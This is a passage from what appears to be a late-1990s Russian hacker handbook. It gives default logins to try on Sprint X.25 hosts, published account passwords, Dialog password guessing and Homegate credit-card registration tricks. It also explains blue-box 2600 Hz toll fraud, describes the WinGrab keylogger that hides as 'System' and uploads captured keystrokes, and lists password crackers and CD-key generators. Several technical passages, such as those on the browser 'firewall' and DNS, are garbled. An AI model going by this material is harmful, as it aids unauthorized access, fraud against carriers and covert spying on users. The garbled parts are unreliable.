или 578-9161) и после соединения теpминал говоpит CONNECT 9600/ARQ/V34b.

Дальше вам следует набpать @D и нажать enter. Выведутся стpоки:

SPRINT NETWORKS

772 11001A

TERMINAL=(введите D1)

772 -- это код стpаны, по России и СHГ. 11001A -- это номеp хоста, с

котоpого вы вошли. То есть, получив ответ напpимеp 772 11001F вы должны

подозpевать, что существуют хосты 11001A,B,C,D. То есть, возможно существуют

еще телефоны Sprint в вашем гоpоде.

После @ вы должны набpать номеp сети -- NUA -- Network User Address,

т.е. число, задающее сетевой адрес пользователя. NUI (Network User

Identificator) -- код доступа и пароль. DNIC (Data Network Identification

Code) -- код сети, представляет из себя четыре цифры, которые в полном

сетевом адресе задают код сети данных.

Если у вас нет ID и пароля, попpобуйте ввести следующее:

login: guest/demo/new/bbs/help/info/newuser/anonymous/test

passw: guest/demo/new/bbs/help/info/newuser/anonymous/test

Sprint входит в состав консоpциyма Global One, как и другие крупные

сети коммутации пакетов: SITA aka SCITOR, Infonet, Tymnet и другие. Global

One имеет пpедставительство (как электpонное так и физическое) в каждой

кpyпной стpане (модемный телефон: 967-6767, голосовой телефон: 705-9170,

адpес домена: global-one.net)

Если хакер взломает именно спpинтовый xост, то его могут и привлечь, но

это в эависимости от того как глубоко он залез, и знают об этом или нет. А

если хакер pасковыpял какую-либо сетку или что-нибудь еще чеpез Sprint, то

вpяд ли. Sprint наплевать кто чеpез него бpодит. Пpоблемы могут возникнуть

от того к кому залез хакер.

В Internet можно узнать об услугах сети Sprint через

http://www.sprint.com, http://www.sprintlink.net или http://www.rosprint.ru.

Через Sprint доступны следующие службы:

**CompuServe Network**

Address: 202 202

User ID: 177000,1005

Password: EXPLORE/WORLD

Program: WinCIM v3.0

Для соединения с Compuserve Network (а не с самим Компусервом) через

Sprint, нужно ввести те же X.25 адреса (что и для Компусерва), но с

указанием пятого порта: 202201E (или 202201.05), 202202E, 202203E, 614227E.

Как появится приглашение Host, введите мнемонику N2KRF1.

**Microsoft Network**

Address: 03110 83501000

Program: MSN v5900

**America On-Line**

Address: 83420178.83

User name: 2230033368

Password: ELITES-GOLF

Program: America On-Line v3.0

**GEnie**

Address: unpublished

User ID: only god knows

Program: telix

Cканирование Sprint -- последовательный перебор адресов (NUA). Делать

это вручную очень долго -- для этого используются разнообразные программы

или скрипты.

Лучшая -- Sprintnet Scanner v1.5.

**Сеть Dialog**

Диалог является одной из самых обширных информационных служб. На

сегодняшний день Диалог предоставляет доступ к более чем 600 базам данных. В

России существует несколько сетей, имеющих свободный (Reserved Charging)

выход на службу Диалог и даже работает мнемоника (DIALOG)! Cоединиться с

Диалогом можно через SprintNet (мнемоника: DIALOG, X.25 адреса:

0311041500048, 0311041500049, 0311041500020). После соединения вы увидите

приглашение: DIALOG INFORMATION SERVICES. Логин, как правило, является

шестизначным номером, а пароли обычно имеют длину восемь знаков (большие и

маленькие буквы чередуются с числами). Если пароль угадан, то после

некоторых сообщений вы получите промпт - "?"

**Номера некоторых баз данных сети Dialog:**

**75** Management Contents

**201** ERIC

**204** CA Search

**205** BIOSIS Privews

**208** Compendex

**213** INSPEC

**215** ABI/INFORM

**216** PTS Prompt

**229** Drug Information

**231** CHEMNAME

**247** Magazine Index

**250** CAB Abstracts

**254** Medline

**290** Dialindex

**296** TrademarkScan

К этим базам данных возможен доступ с помощью клиентского софта Knight

Reader и Dialoglink:

ftp://iserv.dialog.com/pub/WWW/quickstart/setup.exe

ftp://iserv.dialog.com/pub/WWW/dlkdos.exe

ftp://iserv.dialog.com/pub/WWW/dlkdos.zip

ftp://iserv.dialog.com/pub/WWW/dlkwin.exe

Техническая поддержка Диалога доступна бесплатно через российских

операторов MCI или AT&T или Sprint Global-One.

**Сеть Homegate**

Homegate -- является дочерней компанией I-Pass и предоставляет доступ к

Internet практически во всех странах мира по протоколу Х.28 через Sita

network, BBN Network и UUNET. В России сеть Homegate доступна через сеть

Sita NetWork (Equant). Dialer соединяет вас с сервером корпорации I-Pass,

где и происходит проверка пароля. Для прохождения регистрации в Homegate

необходимо уже иметь вход в Internet, и находясь на линии запустить Homegate

Dialer, затем нажать в диалере кнопку Register (запустится браузер и

соединит хакера с сайтом регистрации).

После прохождения регистрации хакеру будет послан файл с ID и паролем.

Кредитка проверяется не во время, а после прохождения регистрации, в

течении 10-20 минут, поэтому подбирать префиксы -- гиблое дело. Хакер

узнает, прошел он регистрацию или нет только по истечении этого времени,

позвонив с помощью Homegate Dialer.

Если хакер вошел в Internet , то проходить регистрацию необходимо

каждые два дня, так как все договора, заключенные в России, прерываются для

"расследования".

Чтобы не переустанавливать Homegate Dialer для повторной регистрации,

хакеру достаточно удалить файлы user.idx и user.dat.

Если письменный английский хакера достаточно красноречив, чтобы убедить

администрацию сети Homegate в том, что он американец, находится в России и

возмущен подобным небрежным отношением, то хакеру без особых проблем,

обратно активируют доступ.

Письмо пишется не в HELPDESK@HOMEGATE.COM, а прямо на тот адрес с

которого хакеру пришло сообщение о том, что он новый пользователь. Если

хакер удачно проделает все эти процедуры, у него будет доступ в Internet уже

через первый прозвон с CPS до 4000.

Программу Homegate Dialer хакер загружает с

http://www.homegate.com/howget

**Прокси в Microsoft Internet Explorer**

С помощью раздела **Прокси-сервер** вы можете подключиться к Internet через

прокси-сервер вашей локальной сети. Для этого поставьте флажок **Подключаться**

**к Интернету через прокси-сервер** и введите в поля данных **Адрес** адрес

прокси-сервера, а в поле данных **Порт** задайте номер порта.

В общем случае, обозреватель Microsoft Internet Explorer не требует

параметров близлежащих узлов или так называемых прокси-серверов, то есть тех

сетевых служб, через которые вы непосредственно работаете с Internet. С

другой стороны, конфигурация некоторых сетевых соединений блокируется

брандмауэрами. Как известно, информация защищается брандмауэрами в

компьютерах внутренних сетей от всеобщего доступа. При этом, брандмауэры

могут ограничивать способность Microsoft Internet Explorer обмениваться

информацией с внешними источниками. Чтобы преодолеть это ограничение,

Microsoft Internet Explorer позволяет вам взаимодействовать только с тем

программным обеспечением, которое вам предоставляет ваш провайдер Internet

или главный сервер вашей локальной сети. Все это дело работает по мудренной

схеме.

Прокси-сервер ретранслирует брандмауэр и обеспечивает связь с заданным

протоколом сетевой службы. Поэтому, если вы запустили Microsoft Internet

Explorer через брандмауэр, вам необходимо указать номера логических портов и

ассоциировать номер каждого порта под соответствующую службу сервера. Если

же вы не хотите устанавливать параметры ретранслятора, просто снимите флажок

**Подключаться к Интернету через прокси-сервер**.

Вы можете вручную определить службы и задать номера соответствующих

логических портов вашего прокси-серевера. Для этого нажмите кнопку

**Дополнительно** и в диалоговом окне **Параметры прокси-сервера** установите

параметры для каждой службы Internet и укажите сервисные службы, которые

поддерживает ретранслятор. Ими могут быть:

n HTTP (HyperText Transfer Protocol)

n FTP (File Transfer Protocol)

n Gopher

n Security (Secure Sockets Layer protocol)

n WAIS (Wide Area Information System)

n SOCKS (Сокеты)

В полях данных **Адрес прокси-сервера** вы должны указать имя хоста для

каждого протокола соответствующей службы.

Как правило, один прокси-сервер работает с тремя основными протоколами:

HTTP, FTP и Gopher. В поле данных **Адрес прокси-сервера** вы также можете

ввести IP-адрес прокси-сервера.

На одном компьютере может быть запущено несколько сетевых служб, каждая

из которых идентифицируется логическим портом. Этот порт принадлежит

прокси-серверу, такому как HTTP или FTP. Как правило, в Internet

используются стандартные номера логических портов. Например, протокол HTTP

использует 80-й порт, а FTP -- 21-й.

Вы можете сообщить обозревателю, чтобы он не использовал параметры

сетевых служб локального домена. Например, если вы определите в **Адрес**

**прокси-сервера** bob.leon.com и укажите в поле данных **Исключения**

abob,bbob,leon.com, то все необходимые протоколы HTTP для abob, bbob и

leon.com будут использоваться напрямую, то есть игнорируя параметр,

введенный в поле **Адрес прокси-сервера**.

Раздел **Автоматическая настройка** предназначен для весьма продвинутых

пользователей. Через кнопку **Настройка** происходит обращение к диалогу

**Автоматическая настройка**, с помощью которого системный администратор вашей

сети может загрузить файл настроек Internet Explorer. Как правило, в такой

файл включаются некоторые параметры работы Internet Explorer, касающиеся

начальной страницы и настроек прокси-сервера.

**Система безопасности Microsoft Internet Explorer**

В диалоговом окне **Свойства обозревателя** через вкладку **Безопосность** вы

можете установить параметры работы с системой безопасности Microsoft

Internet Explorer.

В Microsoft Internet Explorer имеется, мягко говоря, небольшая лазейка,

позволяющая переконфигурировать его брандмауэр, так как вы это пожелаете.

Именно через этот пресловутый брандмауэр вы можете, например, без особого

труда вакцинировать систему. Кстати, это многими и очень многими делалось.

Причем, взлом защиты Microsoft Internet Explorer может быть осуществлен

несколькими способами, каждый из которых совершенно не связан с предыдущими.

Microsoft Internet Explorer даже не определит того, кто хотел взломать вашу

систему. В этой программе невозможно определить так называемую зону риска.

Поэтому, именно через брандмауэры Microsoft Internet Explorer ищутся

отправные точки захвата всей системы. Например, простейшая атака программой

**rlogin** через отдельный компьютер большой сети позволяет перечеркнуть двумя

жирными полосами нижепубликуемое описание опций системы защиты Microsoft

Internet Explorer.

**Изменение имени пользователя и компании в Windows 98**

Если вы хотите изменить имя пользователя и компании, откройте редактор

реестра в HKEY\_LOCAL\_MACHINE/

SOFTWARE/MICROSOFT/WINDOWS. Дважды щелкните левой клавишей мыши на

ключе REGISTERED OWNER или

REGISTERED ORGINIZATION и просто введите новое имя.

**Установка связи по модему между двумя удаленными компьютерами в Windows**

**98**

Если вы хотите установить связь по модему между двумя удаленными

компьютерами, то прежде всего компьютер, с которым вы пытаетесь наладить

связь должен быть сервером удаленного доступа. (**Удаленный доступ к**

**Соединения к Сервер удаленного доступа к Allow caller access**).

Теперь создайте соединение удаленного доступа и нажмите кнопку

**Установить связь**.

Установив связь, через **Мой компьютер** поключите к своему компьютеру

доступный сетевой диск исходного сервера удаленного доступа, задав его так:

**\\<имя удаленного компьютера>\<буква диска без двоеточия>**

**HyperTerminal и два удаленных компьютера в Windows 98**

n откройте программу HyperTerminal

n на одном из компьютеров отмените звонок

n установите "соединение" с удаленным компьютером

n наберите **ATS0=N** (N -- количество звонков перед

снятием трубки), ваш модем перешел в режим ожидания

n теперь другой компьютер должен набрать ваш телефонный

номер

**Удаление пароля в Windows 98**

Для того, чтобы удалить пароль, найдите файл с расширением .PWL в папке

Windows, уничтожьте его и перезапустите систему.

**Изменение адреса IP без перезагрузки системы в Windows 98**

Если вы хотите изменить адрес IP без перезагрузки системы, откройте в

**Редакторе реестра** раздел Мой

компьютер\HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP и

сохраните этот раздел как файл с расширением .REG. После этого измените

адрес IP, откройте **Проводник** и запустите отредактированный таким образом

файл двойным щелчком клавишей мыши. Если на экране появилось сообщение

"Записи успешно внесены в реестр", то вы изменили адрес IP без перезагрузки

системы.

**Установка двух интерфейсов IP на один сетевой адаптер в Windows 98**

Если вы хотите установить два интерфейса IP на один сетевой адаптер,

просто добавьте еще один протокол TCP/IP и настройте его через вкладку

**Конфигурация** диалогового окна свойств **Сеть**.

**Windows 98 и модем на COM4**

При правильной установке джамперов, система способна произвести

правильную конфигурацию вашего модема посредством технологии автоматического

распознавания устройств. Но иногда случается так, что COM-портов не хватает,

а вам необходимо установить модем. Тогда остается только

одно -- подключить это устройство на третий или четвертый

COM-порт. Тут-то вам и нужно учесть одинаковые прерывания IRQ.

Например, прерывание четвертого COM-порта может быть занято вашим

видеоадаптером, а первый COM-порт всегда имеет в отношении прерываний

больший приоритет по сравнению с четвертым COM-портом.

Если система вообще не видит четвертый COM-порт, проверьте еще раз все

джампера и просто заставьте Windows 98 обновить аппаратную базу данных.

**Защиты системы в Windows 98**

Концепция безопасности компьютера подразумевает защиту всех его

компонентов -- аппаратные средства и приложения -- от несанкционированного

доступа из локальной сети или Internet. В Windows 98 любой пользователь

вашего компьютера может зарегистрироваться в системе. При этом имя

пользователя и пароль могут быть такими же, как и при входе в сеть.

Концепция безопасности в Windows 98 весьма примитивна. В этой системе

вы, как администратор, не можете создать группу пользователей, завести

учетную запись пользователя, изменить права пользователя. Вместо весьма

продвинутого **Диспетчера пользователей** эта система предлагает довольно

простенькое диалоговое окно свойств **Пароли**.

Все это, конечно же, означает, что Windows 98 вообще не обеспечивает

никакого уровня безопасности. Вы, как владелец собственного компьютера, не

можете управлять собственными ресурсам, заводить журнал событий,

ограничивать доступ к тому или иному ресурсу. Вы ничего не можете!

Идентификатор пользовотеля ID? Нет! Эти вещи можно делать только в

Windows NT. SID! SID! SID! SID! SID! SID! SID! Забыть и все тут!

Никаких кодов безопасности! Доступ только в NT!

Не вы, а сама система может создать нечто, напоминающее уникальную

запись, которая идентифицирует того или иного пользователя вашего

компьютера.

Никакого контроля, учета и отслеживания.

Вы, конечно, администратор! Но концепция безопасности Windows 98 не

подразумевает тот факт, что вы имеете законное право распоряжаться ресурсами

собственного компьютера.

Речь идет о том, что механизм безапосности в Windows 98 реализован

только на уровне регистрации пользователя.

Вам предлагается так называемая *унифицированная регистрация*. Это

означает, что однажды введенный эккаунт (пароль и имя пользователя) в окне

регистрации при загрузке системы используется для доступа ко всем службам,

приложениям и аппаратным ресурсам вашего компьютера.

Хорошо подобранный пароль, в принципе, способен защитить вашу систему

от проникновения в нее нежданных гостей. Поэтому:

n никогда не записывайте свой пароль на бумаге

n не пользуйтесь очевидными паролями

(имена, названия городов)

n никогда не отправляйте свой пароль по электронной

почте

n используйте разумное количество символов при

составлении пароля, иначе вы забудете его в один

прекрасный момент и не сможете изменить никогда

С помощью вкладки **Смена паролей** диалогового окна свойств **Пароли**, к

которому вы можете обратиться из **Панели управления** посредством двойного

щелчка клавишей мыши на значке **Пароли**, изменяются параметры **унифицированной**

**регистрации** всех ресурсов вашего компьютера посредством задания нового

пароля пользователя.

Задать новый пароль можно через вкладку **Настройка пользователя**,

обратиться к которой вы можете посредством двойного щелчка клавишей мыши на

пиктограмме **Пользователи**, находящейся в **Панели управления**.

Если вы хотите установить защиту на тот или иной ресурс вашего

компьютера, например, разделить доступ к файлам и принтерам, прежде всего,

сделайте так, чтобы этот ресурс стал разделяемым.

Более подробную информацию вы можете получить у системного

администратора вашей компании.

Windows 98 позволяет управлять ресурсами вашего компьютера

пользователям, которые имеют удаленный доступ к вашей системе. Для этого вы

должны добавить соответствующую службу с помощью вкладки **Сеть**, обратиться к

которой вы можете из **Панели управления**. Только после этого в диалоговом окне

свойств **Пароли** появится новая вкладка **Удаленное управление**.

**Наезд на web-мастера**

Путешествуя по Internet, вы, наверное, обратили внимание на различный

вид web-страниц. Некоторые страницы выглядят весьма красиво и до отказа

заполнены нужной вам информацией. Другие -- безобразны, отвратительны и

заполнены, как правило, всякой ерундой. Разработкой и тех и других страниц

занимаются пользователи, называющие себя web-дизайнерами или web-мастерами.

Понятно, что хороший web-дизайн напрямую зависит от того, как пользователь

владеет интеллектуальной дисциплиной, называемой web-дизайном.

Если вы программист, никогда не пускайтесь в авантюры типа "Разработка

web-сервера". Поверьте, это не для вас. Web-дизайн -- это далеко не коды

HTML! Именно на этих самых кодах зацикливаются многие программисты, забывая

про

главное -- красивый дизайн, функциональность и содержание.

Профессиональный дизайн web-страничек и серверов WWW не может быть выполнен

программистом.

**Зачем вам нужен Domain Name Server**

Каждое подразделение Internet имеет два домена. Основной DNS обычно

располагается на сетевой машине.

DNS-сервера используют в своих обращениях к удаленным узлам 32-битные

адреса IP, мнемонически заключенные в четырехразрядную буквенную комбинацию.

Любой хост может получить соответствующий DNS у ближайшего информационного

сервера DNS по известной системе Domain Name Server через сетевой протокол

DNS. Просто хост посылает запрос на известный IP-адрес DNS-сервера свой

IP-адрес и имя сервера. Сервер DNS штудирует собственную базу данных,

находит IP-адрес и отправляет на хост соответствующий ответ DNS. Схема

весьма примитивная. Если же сервер DNS не находит искомую буквенную

комбинацию, то он отсылает запрос на так называемый корневой сервер,

который, в свою очередь, сверяет информацию с файлом настроек root.cache.

Так происходит до тех пор, пока имя хоста не будет найдено в Internet.

**Принципы действия BlueBox**

Управление приборами на АТС (набор номера, состояние линии)

осуществляется постояным током. Однако это справедливо только для

абонентских линий и частично -- для соединительных. В межузловой сети, как и

в междугородной, стоит аппаратура уплотнения каналов, усиления сигналов и

т.п., которая не может передавать постоянный ток. Однако станции как-то

должны сигнализировать о своем состоянии друг-другу. Для этой цели применяют

различные системы сигнализации. Для двухпроводной линии наиболее удобной

оказалась частотная сигнализация в полосе частот телефонного канала (300 --

3500 Hz), которую пропускает оборудование усиления и уплотнения.

Узлы соединены между собой некоторым количеством соединительных линий.

Чтобы обозначить, что узел не занимает линию, он подает в нее сигнал

частотой 2600 Hz. На свободной линии этот сигнал идет с обеих сторон (от

обоих узлов). Когда узел хочет связаться с другим узлом, он должен выбрать

свободную линию. Для этого оборудование просматривает по очереди все линии

на наличие сигнала 2600 Hz, поступающего с удаленного узла. Наличие сигнала

означает, что линия свободна, и узел подключается к ней. При этом он снимает

сигнал 2600 Нz со своей стороны, что означает, что линия им занята.

С удаленного узла сигнал 2600 Hz все еще поступает в линию. Вы не

слышите его, так как на его пути установлен узкополосный фильтр,

"вырезающий" этот тон. 2600 будет подаваться удаленным узлом, пока

вызываемый абонент не снимет трубку. Наш узел опознает пропадание сигнала с

удаленного узла, как признак того, что разговор начат, и начинает

накручивать за него бабки. По окончании разговора узел, чей абонент вешает

трубку, опять подает в линию сигнал 2600 Нz, означающий, что данный узел

прекратил разговор и освободил линию. Так работает эта система сигнализации.

Теперь предположим, что вы звоните другу в другой город N. Набираете

его номер. Ваш междугородний узел ищет свободную связную линию, на которую

из N подается 2600 Hz. Найдя такую линию, он соединяет вас с ней и убирает

со своей стороны сигнал 2600 Hz. Узел города N понимает это как запрос

начать связь. Далее ваш узел передает узлу города N номер вашего друга, и вы

наконец слышите гудки вызова. У друга звонит телефон. Все это время 2600 из

города N поступает на ваш узел, поэтому он не начисляет пока деньги. Теперь

предположим, что мы сами подали в линию сигнал 2600 Hz. Узел города N

"слышит" этот тон и думает, что вы у себя повесили трубку, и ваш узел

освободил линию. Соответсвенно он прекращает вызывать вашего друга,

сбрасывает и готовит оборудование к новым вызовам (это занимает не более

секунды). Теперь вы перестаете подавать тон 2600 Hz. Узел города N думает,

что с вашего узла пришел новый запрос на связь, и готов принимать номер

абонента. При этом, благодаря звездообразной структуре сети, узел города N

может связываться с другими городами и странами, если набираемый номер

содержит код страны и/или города.

Таким образом, позвонив сначала в соседний город N и перехватив

управление сетью, вы можете звонить в любое место, куда сможет "звонить"

узел города N. При этом ваш узел зарегистрирует только звонок в город N и

ничего не будет знать о дальнейших ваших действиях. Значит, по тарифу

соседнего городка вы можете звонить практически в любую стану мира. Звонок

может быть и вообще бесплатным, если вы сначала набираете номер какой-нибудь

всероссийской бесплатной службы.

**Съемщик паролей Wingrab**

Весьма интересная хакерская программа WinGrab предназначена для съема

всякой разной информации с компьютеров, работающих под Windows 95 или

Windows NT. Эта программа позволяет отслеживать содержимое Windows по

горячим словам, а также клавиатурный ввод. Информация собирается в локальном

файле или может быть передана через Internet на указанный FTP-сервер.

Последняя версия WinGrab поддерживает только одно добавочное слово, но

грамотное его применение помогает значительно увеличить круг снимаемой

информации (например добавочное слово "Subject:" скорее всего позволит иметь

всю переписку донора без заглядывания на его почтовый сервер). Аналогичное

применение может найти и кракозябла @.

Способ запуска WinGrab на компьютере-доноре -- установка программы с

дискеты. Программа принципиально не сделана ни в виде трояняца, ни в виде

вируса, по разным соображениям. Однако установка программы с дискеты

оптимизирована таким образом, что занимает всего от 10 до 35 секунд в

зависимости от наличия на доноре необходимых библиотек.

Будучи единожды установлена, программа запускается каждый раз при

старте операционной системы и выглядит в списке задач как System. Попытки

снять задачу System, естественно, безуспешны, что вводит неопытного

пользователя в благое заблуждение.

**Пример файла ../etc/passwd**

root:\*:0:0:Charlie &:/root:/bin/csh

toor:\*:0:0:Bourne-again Superuser:/root:

daemon:\*:1:1:Owner of many system processes:/root:/nonexistent

operator:\*:2:20:System &:/usr/guest/operator:/bin/csh

bin:\*:3:7:Binaries Commands and Source,,,:/:/nonexistent

games:\*:7:13:Games pseudo-user:/usr/games:/nonexistent

news:\*:8:8:News Subsystem:/:/nonexistent

man:\*:9:9:Mister Man Pages:/usr/share/man:/nonexistent

uucp:\*:66:66:UUCP

pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico

xten:\*:67:67:X-10 daemon:/usr/local/xten:/nonexistent

nobody:\*:65534:65534:Unprivileged user:/nonexistent:/nonexistent

ftp:\*:14:14:Anonymous FTP Admin:/usr/ftp:/bin/date

**Хакерские конференции**

Отметим, что источник каждой поступающей статьи регистрируется. Поэтому

нет никакого смысла уничтожать статьи UUnet. Это информация для начинающих

хакеров. А для более умудренных опытом отметим, что не нужно заходить в

случайные группы, метить статьи и стирать сообщения. Это невежливо и

бессмысленно. Зачем пользоваться несовершенными методами работы Usenet?!

**alt.2600.hope.tech**

Хакеры планеты Земля.

**alt.comp.virus**

Споры по вирусам.

**alt.cracks**

Жаркие споры взломщиков сетей.

**alt.cyberpunk**

Узкий круг киберпанков.

**alt.cyberspace**

Киберпространство и как в нем работать.

**alt.dcom.telecom**

Споры относительно телекоммуникаций.

**alt.fan.lewiz**

Фэн-клуб Левиса Де Пайна.

**alt.hackers**

Описание проектов.

**alt.hackers.malicious**

Действительно мерзкие типы.

**alt.privacy.anon-server**

Анонимные атаки на различные сервера.

**alt.radio.pirate**

Скрытые механизмы.

**alt.radio.scanner**

Сканирование радиограмм.

**alt.satellite.tv.europe**

Все относительно европейского телевидения.

**alt.security**

Безопасность компьютерных сетей.

**alt.security.keydist**

Обмен ключами для систем дешифровки.

**alt.security.pgp**

Pretty Good Privacy.

**alt.security.ripem**

Нелегальная почта из США.

**comp.org.cpsr.announce**

Компьютерные профессионалы.

**comp.org.cpsr.talk**

Самиздатовские компьютерные издания.

**comp.org.eff.news**

Новости от Electronic Frontiers Foundation.

**comp.protocols.tcp-ip**

Протоколы TCP и IP.

**comp.risks**

Публикации и риск.

**comp.security.announce**

Анонсы от CERT относительно безопасности.

**comp.security.misc**

Безопасность сетей и компьютеров.

**comp.security.unix**

Дискусcии по защите великой и могучей UNIX.

**comp.virus**

Компьютерные вирусы и безопасность.

**rec.video.cable-tv**

Кабельное телевидение.

**sci.crypt.**

Различные методы шифровки/дешифровки.

**Хакерские сайты WWW**

http://www.outerlimits.net/lordsome/index.html

http://web2.airmail.net/km/hfiles/free.htm

http://resudox.net/bio/novell.html

http://www.louisville.edu/wrbake01/hack2.html

http://www.intersurf.com/~materva/files.html

http://hightop.nrl.navy.mil/rainbow.html

http://www.rit.edu/~jmb8902/hacking.html

http://www.spatz.com/pecos/index.html

http://pages.prodigy.com/FL/dtgz94a/files2.html

http://www.2600.com

http://att.net/dir800

http://draco.centerline.com:8080/~franl/crypto.html

http://everest.cs.ucdavis.edu/Security.html

http://ice-www.larc.nasa.gov/WWW/security.html

http://lOpht.com

http://lOpht.com/~oblivion/IIRG.html

http://underground.org

http://www.alw.nih.gov/WWW/security.html

http://www.aspentec.com/~frzmtdb/fun/hacker.html

http://www.etext.org/Zines

http://www.inderect.com/www/johnk/

http://www.mgmua.com/hackers/index.html

http://www.paranoia.com/mthreat

http://www.paranoia.com/astrostar/fringe.html

http://www.umcc.umich.edu/~doug/virus-faq.html

http://www.wired.com

http://all.net:8080

http://alumni.caltech.edu/~dank/isdn

http://aset.rsoc.rockwell.com

http://aset.rsoc.rockwell.com/exhibit.html

http://att.net/dir800

http://ausg.dartmouth.edu/security.html

http://csbh.mhv.net/dcypher/home.html

http://cs.purdue.edu/coast/coast.html

http://csrc.ncsl.nist.gov

http://daemon.apana.org.au/~longi

http://dhp.com/~pluvius

http://everest.cs.ucdavis.edu/Security.html

http://everest.cs.ucdavis.edu/slides/slides.html

http://ftp.tamu.edu/~abr8030/security.html

http://hightop.nrl.navy.mil/potpourri.html

http://hightop.nrl.navy.mil/rainbow.html

http://info.bellcore.com/BETSI/betsi.html

http://infosec.nosc.mil/infosec.html

http://l0pht.com

http://l0pht.com/~oblivion/IIRG.html

http://matrix.resnet.upenn.edu/rourke

http://mindlink.jolt.com

http://mls.saic.com

http://motserv.indirect.com

http://naic.nasa.gov/fbi/FBI\_homepage.html

http://nasirc.hq.nasa.gov

http://obscura.com/~loki/

http://ophie.hughes.american.edu/~ophie

http://oregano.sl.pitt.edu/index.htm

http://pages.ripco.com:8080/~glr/glr.html

http://the-tech.mit.edu

http://ucs.orst.edu:8001/mintro.html

http://underground.org

http://unixg.ubc.ca:780/~jyee

http://w3.gti.net/safety

http://wintermute.itd.nrl.navy.mil/5544.html

http://wiz.plymouth.edu/~jay/underground.html

http://www.2600.com

http://www.8lgm.org

http://www.aads.net

http://www.alw.nih.gov/WWW/security.html

http://www.aus.xanadu.com:70/1/EFA

http://www.ba.com

http://www.bell.com

http://www.brad.ac.uk/~nasmith/index.html

http://www.bst.bls.com

http://www.c3.lanl.gov/~mcn

http://www.cam.org/~gagnon

http://www.cert.dfn.de

http://www.cpsr.org/home

http://www.cs.umd.edu/~lgas

http://www.csd.harris.com/secure\_info.html

http://www.csl.sri.com

http://www.datafellows.fi

http://www.dct.ac.uk/~misb3cp/2600/faq.txt

http://www.digicash.com/ecash/ecash-home.html

http://www.dnai.com/~gui/index.html

http://www.eecs.nwu.edu/~jmyers/ids/index.html

http://www.eff.org/papers.html

http://www.emap.co.uk/partners/racal-airtech

http://www.ensta.fr/internet/unix/sys\_admin

http://www.etext.org/Zines

http://www.fc.net/defcon

http://www.fedworld.gov

http://www.first.org/first

http://www.gbnet.net/kbridge

http://www.ic.gov

http://www.io.org/~excels

http://www.indirect.com/www/johnk

http://www.magi.com/~vektor/linenoiz.html

http://www.mcs.com/~candyman/under.html

http://www.mpr.ca

http://www.net23.com

http://www.netresponse.com:80/zldf

http://www.nist.gov

http://www.ntt.jp

http://www.pacbell.com

http://www.paranoia.com/astrostar/fringe.html

http://www.paranoia.com/mthreat

http://www.planet.net/onkeld

http://www.primenet.com/~insphrk

http://www.primenet.com/~kludge/haqr.html

http://www.qualcomm.com/cdma/wireless.html

http://www.raptor.com/raptor/raptor.html

http://www.research.att.com

http://www.rsa.com

http://www.satelnet.org/~ccappuc

http://www.seas.upenn.edu/~rourkem

http://www.service.com/cm/uswest/usw1.html

http://www.shore.net/~oz/welcome.html

http://www.spatz.com/pecos/index.html

http://www.spy.org

http://www.sri.com

**Хакерские сайты FTP**

ftp.3com.com /pub/Orange-Book

ftp.acns.nwu.edu /pub

ftp.alantec.com /pub/tcpr

ftp.armory.com /pub/user/kmartind

ftp.armory.com /pub/user/swallow

ftp.auscert.org.au /pub

ftp.cs.ruu.nl /pub/SECURITY

ftp.cs.uwm.edu /pub/comp-privacy

ftp.csi.forth.gr /pub/security

ftp.csl.sri.com /pub/nides

ftp.csn.org /mpj

ftp.digex.net /pub/access/dunk

ftp.eff.org /pub/Publications/CuD

ftp.fc.net /pub/deadkat

ftp.fc.net /pub/defcon

ftp.fc.net /pub/defcon/BBEEP

ftp.fc.net /pub/phrack

ftp.funet.fi /pub/doc/CuD

ftp.gate.net /pub/users/laura

ftp.gate.net /pub/users/wakko

ftp.giga.or.at /pub/hacker

ftp.greatcircle.com /pub/firewalls

ftp.IEunet.ie /pub/security

ftp.inoc.dl.nec.com /pub/security

ftp.io.org /pub/users/gmouser

ftp.lava.net /users/oracle/

ftp.lerc.nasa.gov /security

ftp.llnl.gov /pub

ftp.luth.se /pub/unix/security

ftp.mcs.anl.gov /pub/security

ftp.microserve.net /ppp-pop/strata/mac

ftp.near.net /security/archives/phrack

ftp.netcom.com /pub/br/bradleym

ftp.netcom.com /pub/da/daemon9

ftp.netcom.com /pub/fi/filbert

ftp.netcom.com /pub/le/lewiz

ftp.netcom.com /pub/va/vandal

ftp.netcom.com /pub/wt/wtech

ftp.netcom.com /pub/zz/zzyzx

ftp.ocs.mq.edu.au /PC/Crypt

ftp.ox.ac.uk /pub/comp/security

ftp.ox.ac.uk /pub/crypto

ftp.ox.ac.uk /pub/wordlists

ftp.paranoia.com /pub/toneloc

ftp.primenet.com /users/i/insphrk

ftp.primenet.com /users/k/kludge

ftp.primenet.com /users/s/scuzzy

**Лучший хакерский софт**

**CHEAT ENGiNE 2.5**

Простая программа для взлома игр. Создает классные и быстрые патчи.

**Cheat Machine 2.02**

Программа для легкого прохождения игр. Поддержка около 300 известных

игр. Солюшены, тактика, коды, патчи, утилиты.

**CrackAid 3.39**

Снятие защиты с игр.

**Crack Master 2.5**

Взлом защит присоединительного типа с наиболее популярных игр.

**Neverlock Spring 95**

Взлом защиты с более 400 игр.

**The PATCHER 6.5**

Снятие защиты от копирования с более, чем 100 известных игрушек.

**Unlimited Cheats 3.0**

Обман лучших игр мира. Великолепный интерфейс. Работа с мышью.

**BRUTE 2.0**

Инструментарий для взлома паролей UNIX.

**Claymore 1.0**

Инструментарий для взлома паролей системы Microsoft Windows. По

большому счету эта весьма удобная программа позволяет взломать практически

любой пароль. Требует наличия стандартной библиотеки VBRUN300.DLL

**Cracker Jack 1.4**

Инструментарий для взлома паролей системы UNIX.

**Glide**

Знаменитый софт для взлома PWL-файлов системы Microsoft Windows.

**GUESS 2.1**

Еще один инструментарий для взлома паролей системы UNIX. Позволяет

подключить словарь.

**Hades 1.0**

Сканирование и расшифровка паролей.

**Killer Cracker 9.5**

Простой взломщик паролей для MS DOS.

**NEWHACK 2.0**

Софт, позволяющий обновлять файл паролей.

**PCUPC 2.01**

Инструментарий для взлома паролей системы UNIX.

**XIT 2.0**

Инструментарий для взлома паролей системы UNIX.

**CRACKer for ZIP-files 2.0**

Взломщик паролей в ZIP-файлах.

**Fast ZIP Cracker 1.4**

Взломщик паролей в ZIP-файлах. Использует словарь Brute Force.

**MS CD-Key Generator 95**

Создание регистрационных ключей для Microsoft Office и Windows 95.

**Nagbuster 1.2d**

